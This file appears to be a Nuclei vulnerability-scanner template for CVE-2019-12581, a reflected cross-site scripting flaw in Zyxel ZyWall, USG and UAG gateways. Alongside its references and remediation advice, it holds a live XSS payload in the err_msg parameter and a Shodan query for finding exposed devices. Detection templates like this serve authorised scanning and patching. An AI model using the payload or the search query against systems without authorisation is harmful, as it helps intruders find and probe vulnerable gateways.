nuclei-templates/http/cves/2019/CVE-2019-12581.yaml

55 lines
1.9 KiB
YAML

id: CVE-2019-12581
info:
name: Zyxel ZyWal/USG/UAG Devices - Cross-Site Scripting
author: n-thumann
severity: medium
description: Zyxel ZyWall, USG, and UAG devices allow remote attackers to inject arbitrary web script or HTML via the err_msg parameter free_time_failed.cgi CGI program, aka reflective cross-site scripting.
remediation: |
Apply the latest firmware update provided by Zyxel to fix the XSS vulnerability.
reference:
- https://www.zyxel.com/support/vulnerabilities-related-to-the-Free-Time-feature.shtml
- https://sec-consult.com/vulnerability-lab/advisory/reflected-cross-site-scripting-in-zxel-zywall/
- https://n-thumann.de/blog/zyxel-gateways-missing-access-control-in-account-generator-xss/
- https://nvd.nist.gov/vuln/detail/CVE-2019-12581
- https://www.zyxel.com/us/en/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-12581
cwe-id: CWE-79
epss-score: 0.00642
epss-percentile: 0.76933
cpe: cpe:2.3:o:zyxel:uag2100_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: uag2100_firmware
shodan-query: http.title:"ZyWall"
tags: cve,cve2019,zyxel,zywall,xss
http:
- method: GET
path:
- "{{BaseURL}}/free_time_failed.cgi?err_msg=<script>alert(document.domain);</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain);</script>"
- "Please contact with administrator."
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100aa0b563a5d4f909b405943c78f709b8cc0dc094580fd5dda6e3c027c8d953cdd02205846b87225ba3861ce456091cf1a9e801d4479d1629bb5e84feb050f5a1c3575:922c64590222798bb761d5b6d8e72950